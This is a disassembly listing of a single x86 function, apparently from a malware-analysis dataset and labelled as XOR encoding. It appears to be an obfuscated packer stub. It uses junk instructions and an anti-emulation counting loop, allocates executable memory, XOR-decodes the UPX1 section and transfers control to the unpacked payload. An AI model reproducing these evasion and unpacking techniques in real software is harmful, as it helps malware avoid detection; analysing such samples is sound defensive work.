Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x9d4c2eb8
sub esi, 0xcd49f651
mov edi, esi
popal
not edi
mov edi, 0x6419021c
add edi, edi
mov eax, 0
mov esi, ebx
inc edi
sub ecx, 1
or ecx, edi
mov edx, esi
or edi, edi
sub ecx, 1
add edi, 0x15e7218
mov ebx, edx
mov edi, ecx
sub ecx, 0xc93f2c7b
or ecx, ecx
add eax, 1
dec ecx
sub ecx, 0x72b6681d
mov ecx, edi
cmp eax, 0x1009cbc
jne 0x47afd5
sub edi, ecx
dec edi
mov edi, ecx
cmp eax, 0x1009cbc
je 0x47b02b
mov ebx, 0
mov byte [ebx], al
mov edi, ecx
sub edi, ecx
dec edi
or esi, esi
mov esi, 0xc53f9a03
mov edx, 0x47ada2
or ebx, edi
sub edi, ebx
add edi, edi
mov eax, 0x47af96
not esi
mov esi, ebx
mov ecx, dword [edx]
dec esi
sub edi, ebx
and ecx, 0xff
not esi
sub edi, esi
xor dword [eax], ecx
sub edi, ebx
add edi, 1
inc eax
inc ebx
dec esi
mov edi, 0xb788b573
inc edx
add esi, edi
add esi, 0xbf3cb3e7
cmp eax, entry0
jl 0x47b04b
inc esi
and edi, edi
add ebx, 0x8bfe48b4
mov esi, ebx
add esi, esi
not edx
mov edx, ebx
mov esi, 0x47af9a
sub ecx, 1
and ebx, edx
and edx, ecx
mov esi, dword [esi]
sub edi, 1
mov edx, ebx
mov esi, dword [esi]
not ecx
mov ecx, 0xfce467d0
push esi
or ebx, edx
dec ebx
dec edx
mov esi, 0x47af96
dec ecx
inc ecx
mov esi, dword [esi]
sub edx, 0x1c9a6208
mov edx, 0xfd5977a8
mov esi, dword [esi]
mov ebx, 0xcb96bdd0
sub ecx, 1
push 0x47af9e
or edi, edi
dec ecx
inc edi
call esi
sub edi, ebx
mov edx, 0x935cbcb
mov ecx, edx
pop esi
mov edx, edi
inc ecx
sub edx, edi
sub esp, 4
mov dword [esp], 0x47afab
add edi, 0x8d4a5293
and edi, ebx
mov edi, ebx
push eax
add ebx, 0x162e8480
add edx, 0xf870087c
call esi
add edx, 0x2a98275c
add ecx, 0xd9e9323d
push 0x40
add edi, edx
and ebx, ecx
inc ebx
push 0x3000
sub edi, 1
add edi, edi
push 0x2000032d
sub ebx, 0x705949f0
mov ecx, 0xb2cceb89
add ebx, 0x5afdaf4a
push 0
mov edi, ebx
sub edi, 0x793f75e0
call eax
or edx, edx
add ebx, edx
add eax, 0x200002c4
mov ecx, 0xfe4d4177
mov edx, ecx
mov esi, 0x801a19b4
sub ebx, 0x6d4ae697
sub edi, ebx
mov dword [eax], esi
add ecx, 0x71d37bfa
sub ebx, edi
add edx, 1
mov esi, dword [eax]
not edi
sub ecx, 0x83b99cf4
cmp esi, 0x801a19b4
je 0x47b1a6
mov ecx, 0
mov byte [ecx], al
sub edi, edx
mov edi, 0x45b34e0f
add ebx, 0xe1fea503
mov edi, edx
and ebx, ebx
mov esi, 0x9eba73bf
sub edi, esi
not esi
mov ecx, section.UPX1
dec edi
mov edi, esi
mov eax, 0x47ada1
and esi, esi
mov esi, 0x2d6218f6
sub edi, esi
mov ebx, 0
dec esi
dec esi
dec esi
mov edx, 0x47ada2
sub edi, 1
and esi, edi
sub edi, esi
lea edx, [ebx + edx]
sub edi, 0xeed32306
or esi, esi
not esi
mov edx, dword [edx]
and edi, esi
sub edi, 1
add edi, 1
and edx, 0xff
and edi, edi
or edi, esi
inc ebx
mov esi, 0x3c43fb60
sub edi, 0x46bf54fa
sub edi, 0x480e1840
cmp ebx, 0x1f4
jne 0x47b233
mov ebx, 0
not edi
add esi, esi
not edi
not edi
xor dword [ecx], edx
add esi, esi
not esi
or esi, esi
add ecx, 2
or edi, edi
add edi, edi
mov esi, 0x1633acfa
cmp ecx, eax
jl 0x47b1de
not edi
add edi, esi
not esi
sub edi, 0x3a49a07
sub esi, 1
mov eax, section.UPX1
mov edx, esi
sub esi, 0xf7aac1ac
mov ebx, section.UPX1
add edx, 1
mov edx, esi
mov edi, 0x47ada1
add esi, edx
not edx
and edx, edx
mov ecx, 0
add esi, 1
mov esi, edx
not esi
mov cl, byte [ebx]
add esi, 1
add edx, edx
mov byte [eax], cl
dec edx
sub esi, edx
sub esi, 0xd63c9a66
inc eax
and edx, edx
sub edx, esi
add ebx, 2
dec edx
add esi, 1
cmp ebx, edi
jle 0x47b2a0
add esi, edx
mov esi, edx
add esi, 1
not edi
sub esi, 0x1e1dcad4
dec edi
sub esp, 4
mov dword [esp], 0x45e6a0
add esi, edi
and edi, edi
sub edi, esi
ret